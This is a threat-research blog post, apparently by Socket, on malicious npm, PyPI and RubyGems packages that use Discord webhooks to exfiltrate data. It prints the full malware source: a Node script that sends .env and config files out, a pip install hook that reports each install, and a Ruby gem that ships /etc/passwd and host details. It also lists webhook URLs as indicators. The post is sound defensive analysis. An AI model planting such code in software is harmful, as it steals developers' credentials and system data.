Introducing Socket Firewall: Free, Proactive Protection for Your Software Supply Chain.Learn More
Socket
Book a DemoInstallSign in
Socket
Back
ResearchSecurity News

Weaponizing Discord for Command and Control Across npm, PyPI, and RubyGems.org

Socket researchers uncover how threat actors weaponize Discord across the npm, PyPI, and RubyGems ecosystems to exfiltrate sensitive data.

Weaponizing Discord for Command and Control Across npm, PyPI, and RubyGems.org

Olivia Brown

October 11, 2025

Socket’s Threat Research Team continuously observes and identifies malicious packages leveraging Discord as command and control (C2) to exfiltrate data to threat actor-controlled servers. Threat actors historically have been more likely to use their own, controlled, command and control (C2) server. However, Socket’s Threat Research team has observed attackers adopting new and creative approaches to data exfiltration, as seen in the following examples from npm, PyPI, and RubyGems.org.

What is a Discord Webhook?#

Discord webhooks are HTTPS endpoints. They embed a numeric ID and secret token, and possession of the URL is enough to post payloads into a target channel. To test if the webhooks are live, researchers can see what the POST response is. Typically, if it is live, the test will either return a 204 No Content on success, or a 200 OK with ?wait=true. 401 Unauthorized signals a bad token, 404 Not Found indicates a deleted/invalid webhook, and 429 Too Many Requests reflects rate limiting with a retry_after hint. Importantly, webhook URLs are effectively write-only. They do not expose channel history, and defenders cannot read back prior posts just by knowing the URL.

npm#

Our npm example is a package named mysql-dumpdiscord.

const fs = require("fs");
const path = require("path");

//discord URL 
const WEBHOOK_URL = "https://discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_";

const FILES = ["config.json", "config.js",".env","ayarlar.json", "ayarlar.js"];

async function sendToWebhook(filePath) {
try {
const fullPath = path.resolve(filePath);

if (!fs.existsSync(fullPath)) return;

const content = fs.readFileSync(fullPath, "utf-8");

const message =
  content.length > 1900
    ? `📄 Dosya: \\`${filePath}\\`\\n\\`\\`\\`txt\\n${content.slice(
        0,
        1900
      )}...\\n\\`\\`\\`\\n⚠️ Dosya çok büyük, kısaltıldı.`
    : `📄 Dosya: \\`${filePath}\\`\\n\\`\\`\\`js\\n${content}\\n\\`\\`\\``;

await fetch(WEBHOOK_URL, {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ content: message }),
})
} catch (err) {
console.error("❌ Hata:", err.message);
}
}

FILES.forEach((file) => sendToWebhook(file));

module.exports = {};

This code targets configuration files, like config.json, .env, ayarlar.js,and ayarlar.json. Notably, Ayarlar is the Turkish word for “settings” or “configuration.” Developers often use this file to store application settings, user preferences, API keys and credentials, database connection strings, and more.

For each filename, the code resolves to an absolute path, reads the file contents, and then builds a Discord message.

If the content is longer than 1,900 characters, it sends the first 1,900 and appends the message with File is too big, it was shortened, but in Turkish. Otherwise, it sends the file with the full content in a code block.

Next, it POSTs that message as JSON to the Discord webhook, https[://]discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_, essentially using the Discord webhook as an exfiltration point.

It’s a simple file exfiltration dropper, but it uses Discord instead of its own C2 server.

This second example in nodejs.discord is even simpler.

const { webhookClient } = require("discord.js");

class DiscordWebhook {
    async connect(...messages) {
        const content = messages.join(" ");
        try {
            await new WebhookClient({ url: 'https://discord[.]com/api/webhooks/1323713674971713676/uTpNuxUSkn3puz8OqBnPanCqmFPfX-2PSbVuglMDJgl-05NiYb7sjeXkgJb3wK-9kvvl' }).send({ content });
        } catch (error) {
            return
        }
    }
}

module.exports = DiscordWebhook;

This module is a tiny wrapper that tries to send text to a Discord channel via a hard-coded webhook URL. The DiscordWebhook.connect(...messages) method joins any arguments into a single string and then calls new WebhookClient({ url: '<webhook>' }).send({ content }), posting the text to that webhook; any error (including network failures) is silently swallowed due to the try/catch. Because the webhook URL is embedded, anything passed in can be transmitted to a third party. Although this mechanism is not necessarily malicious, as it is sometimes used for app logging/alerts, it can also act as a simple exfiltration sink.

PyPI#

Threat actors also use Discord as a C2 server in Python packages.

Here is our example:

from setuptools import setup
from setuptools.command.install import install
import urllib.request
import json

#malicious discord c2
WEBHOOK_URL = "https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl"

class RunPayload(install):
    def run(self):
        try:
            data = json.dumps({"content": "💥 Ai đó vừa cài gói `maladicus` qua pip!"}).encode('utf-8')
            req = urllib.request.Request(WEBHOOK_URL, data=data, headers={'Content-Type': 'application/json'})
            urllib.request.urlopen(req)
        except Exception as e:
            pass  # Im lặng khi lỗi
        install.run(self)

setup(
    name='malinssx',
    version='0.0.1',
    description='test webhook',
    py_modules=[],
    cmdclass={'install': RunPayload},
)

The cyber threat actor here self defines the package as a test webhook, and the package has been removed from PyPI, but it works well as an example to understand Discord in python due to its simplicity.

This file overrides the setuptools install command to run a post-install side effect that sends a message to a Discord webhook. During pip install, RunPayload.run() JSON-encodes {"content": "💥 Ai đó vừa cài gói maladicus qua pip!"}. From Vietnamese, this translates to: “Someone just installed the maladicus package via pip!” It then POSTs it to the hardcoded WEBHOOK_URL using urllib.request. Any errors are silently ignored (except …: pass), then it calls the normal install.run(self) to finish installation. Practically, this means anyone who installs the package triggers an HTTP request to a third-party Discord channel, which can be used for simple telemetry or as an exfiltration mechanism. Since it executes during install without user consent, it is a classic supply chain risk.

The comments defining the package as a test webhook were in English, not Vietnamese. We also found identical packages (malicus and maliinn) by the same threat actor, sdadasda232323, with the same Discord URL.

RubyGems.org#

Our Ruby example, found in the sqlcommenter_rails gem, exfiltrates a bit more information, but is simple to understand.

require 'etc'
require 'socket'
require 'json'
require 'net/http'
require 'uri'

# Read the /etc/passwd file
begin
  passwd_data = File.read('/etc/passwd')
rescue StandardError => e
  passwd_data = "Error reading /etc/passwd: #{e.message}"
end

# Get current time
current_time = Time.now.utc.iso8601

# Get package metadata
gem_name = 'sqlcommenter_rails'
gem_version = '0.1.0'
gem_metadata = {
  'name' => gem_name,
  'version' => gem_version,
  'summary' => 'Test gem for dependency confusion',
  'author' => 'Your Name'
}

# Get DNS servers (Linux-specific, may not work on all systems)
begin
  dns_servers = File.readlines('/etc/resolv.conf').select { |line| line.start_with?('nameserver') }.map { |line| line.split[1] }
  dns_servers = dns_servers.empty? ? ['Unknown'] : dns_servers
rescue StandardError
  dns_servers = ['Unknown']
end

# Function to get public IP using api.ipify.org
def get_public_ip
  uri = URI('https://api.ipify.org')
  response = Net::HTTP.get_response(uri)
  if response.is_a?(Net::HTTPSuccess)
    response.body
  else
    "Error getting public IP: #{response.message}"
  end
rescue StandardError => e
  "Error getting public IP: #{e.message}"
end

# Collect all tracking data
public_ip = get_public_ip
tracking_data = {
  'package' => gem_name,
  'current_dir' => Dir.pwd,
  'home_dir' => Dir.home,
  'hostname' => Socket.gethostname,
  'username' => Etc.getlogin || 'Unknown',
  'dns_servers' => dns_servers,
  'resolved' => nil, # RubyGems doesn't have a direct equivalent to packageJSON.___resolved
  'version' => gem_version,
  'package_json' => gem_metadata,
  'passwd_content' => passwd_data,
  'time' => current_time,
  'originating_ip' => public_ip
}

# Add custom notes
custom_notes = "Successful R_C_E via dependency confusion."

# Format the message for readability
formatted_message = <<~MESSAGE
  Endpoint: https://example.com/endpoint

  All Information:
  - Package: #{tracking_data['package']}
  - Current Directory: #{tracking_data['current_dir']}
  - Home Directory: #{tracking_data['home_dir']}
  - Hostname: #{tracking_data['hostname']}
  - Username: #{tracking_data['username']}
  - DNS Servers: #{tracking_data['dns_servers'].to_json}
  - Resolved: #{tracking_data['resolved']}
  - Version: #{tracking_data['version']}
  - Package JSON: #{tracking_data['package_json'].to_json(indent: 2)}
  - /etc/passwd Content: #{tracking_data['passwd_content']}
  - Time: #{tracking_data['time']}
  - Originating IP: #{tracking_data['originating_ip']}

  Custom Notes:
  #{custom_notes}
MESSAGE

# Output to console
puts formatted_message

# Send to Discord Webhook
uri = URI('https://discord[.]com/api/webhooks/1410258094511882250/fPTbDPbFfrSaOKDwXDfeqfwlKlhdS5tpev8nD7giRFhAldmRpJaGlI6Y5IWqOpdxYNbx')
https = Net::HTTP.new(uri.host, uri.port)
https.use_ssl = true
request = Net::HTTP::Post.new(uri.path, { 'Content-Type' => 'application/json' })
request.body = { content: formatted_message }.to_json
begin
  response = https.request(request)
rescue StandardError => e
  # Silent error handling
end

This Ruby script collects host information and ships it to a hard-coded Discord webhook. It reads /etc/passwd, grabs DNS servers from /etc/resolv.conf, hostname, current user, current/home directories, package metadata, and calls api.ipify.org to learn the machine’s public IP. It formats everything, including the full /etc/passwd contents, into a multi-line message, prints it to stdout, then POSTs the same text as JSON to the webhook using Net::HTTP over TLS. Any network errors during the send are silently swallowed.

Outlook and Recommendations#

Abuse of Discord webhooks as C2 matters because it flips the economics of supply chain attacks. By being free and fast, threat actors avoid hosting and maintaining their own infrastructure. Also, they often blend in to regular code and firewall rules, allowing exfiltration even from secured victims. Webhooks require no authentication beyond a URL, ride over HTTPS to a popular domain many organizations allow by default, and look like ordinary JSON posts, so simple domain or signature blocking rarely catches them.

When paired with install-time hooks or build scripts, malicious packages with Discord C2 mechanism can quietly siphon .env files, API keys, and host details from developer machines and CI runners long before runtime monitoring ever sees the app.

Already, we have seen attacks use other webhooks from services like Telegram, Slack, and GitHub, which similarly make traditional IOC-based detection less effective and shift the focus toward behavioral detection.

Teams should treat webhook endpoints as potential data-loss channels, enforce egress controls and allow-lists, pin and vet dependencies (lockfiles, provenance/SLSA), scan PRs and installs for network calls and secrets access, and rotate/least-privilege developer credentials — because a single compromised package can exfiltrate at scale across npm, PyPI, RubyGems, and other ecosystems in minutes.

Socket’s security tooling is built to catch exactly these Discord-style exfiltration patterns before they land. The Socket GitHub App analyzes pull requests in real time for newly introduced risks like hard-coded webhook URLs, outbound network calls, or install-time hooks. The Socket CLI enforces the same checks during npm/pip/gem installs to block malicious packages at the gate. Socket Firewall blocks known malicious packages before the package manager fetches them, including transitive dependencies, by mediating dependency requests; use it alongside the CLI for behavior-level gating. The Socket browser extension flags suspicious packages as you browse registries, highlighting known malware verdicts and typosquatting. For AI-assisted coding, Socket MCP warns when code assistants recommend risky or hallucinated dependencies, especially critical as threat actors pivot to webhook-based C2 and secrets harvesting.

Previous Research Covering Unique Ways Threat Actors Use Discord:#

Malicious Packages

Threat Actor Aliases:

Discord C2 Endpoints :

  • https://discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_
  • https://discord[.]com/api/webhooks/1323713674971713676/uTpNuxUSkn3puz8OqBnPanCqmFPfX-2PSbVuglMDJgl-05NiYb7sjeXkgJb3wK-9kvvl
  • https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl
  • https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl
  • https://discord[.]com/api/webhooks/138...
  • https://discord[.]com/api/webhooks/1410258094511882250/fPTbDPbFfrSaOKDwXDfeqfwlKlhdS5tpev8nD7giRFhAldmRpJaGlI6Y5IWqOpdxYNbx

MITRE ATT&CK#

  • T1005 — Data from Local System
  • T1016 — System Network Configuration Discovery
  • T1020 — Automated Exfiltration
  • T1033 — Account Discovery
  • T1059 — Command and Scripting Interpreter
  • T1059.006 — Command and Scripting Interpreter: Python
  • T1059.007 — Command and Scripting Interpreter: JavaScript
  • T1071.001 — Application Layer Protocol: Web Protocols
  • T1082 — System Information Discovery
  • T1119 — Automated Collection
  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1552.001 — Unsecured Credentials: Credentials In Files
  • T1567 — Exfiltration Over Web Service

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts